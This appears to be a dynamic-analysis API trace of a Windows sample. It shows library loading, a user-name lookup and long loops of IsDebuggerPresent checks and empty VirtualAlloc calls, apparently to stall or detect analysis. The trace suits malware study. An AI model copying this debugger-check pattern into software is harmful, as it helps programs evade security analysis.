[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="GetCommandLineA") returned 0x763a98ff
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="FreeConsole") returned 0x763fbfde
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="VirtualAlloc") returned 0x763a2fb6
[0064.944] GetProcAddress (hModule=0x76350000, lpProcName="IsDebuggerPresent") returned 0x76393ea8
[0064.944] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76030000
[0064.945] GetProcAddress (hModule=0x76030000, lpProcName="GetUserNameA") returned 0x7605a4b4
[0064.945] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x760e0000
[0064.951] GetProcAddress (hModule=0x760e0000, lpProcName="StrStrIA") returned 0x760ed250
[0064.951] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.951] IsDebuggerPresent () returned 0
[0064.951] IsDebuggerPresent () returned 0
[0064.951] IsDebuggerPresent () returned 0
[0064.951] IsDebuggerPresent () returned 0
[0064.951] IsDebuggerPresent () returned 0
[0064.951] IsDebuggerPresent () returned 0
[0064.951] IsDebuggerPresent () returned 0
[0064.951] IsDebuggerPresent () returned 0
[0064.951] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.952] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.953] IsDebuggerPresent () returned 0
[0064.953] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.954] IsDebuggerPresent () returned 0
[0064.955] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.955] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.956] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.957] IsDebuggerPresent () returned 0
[0064.958] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.958] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.959] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] IsDebuggerPresent () returned 0
[0064.960] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.960] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.961] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.962] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.963] IsDebuggerPresent () returned 0
[0064.963] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.964] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.965] IsDebuggerPresent () returned 0
[0064.966] IsDebuggerPresent () returned 0
[0064.966] IsDebuggerPresent () returned 0
[0064.966] IsDebuggerPresent () returned 0
[0064.966] IsDebuggerPresent () returned 0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.966] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.967] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.968] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.969] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.970] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.971] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.972] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.973] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.974] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
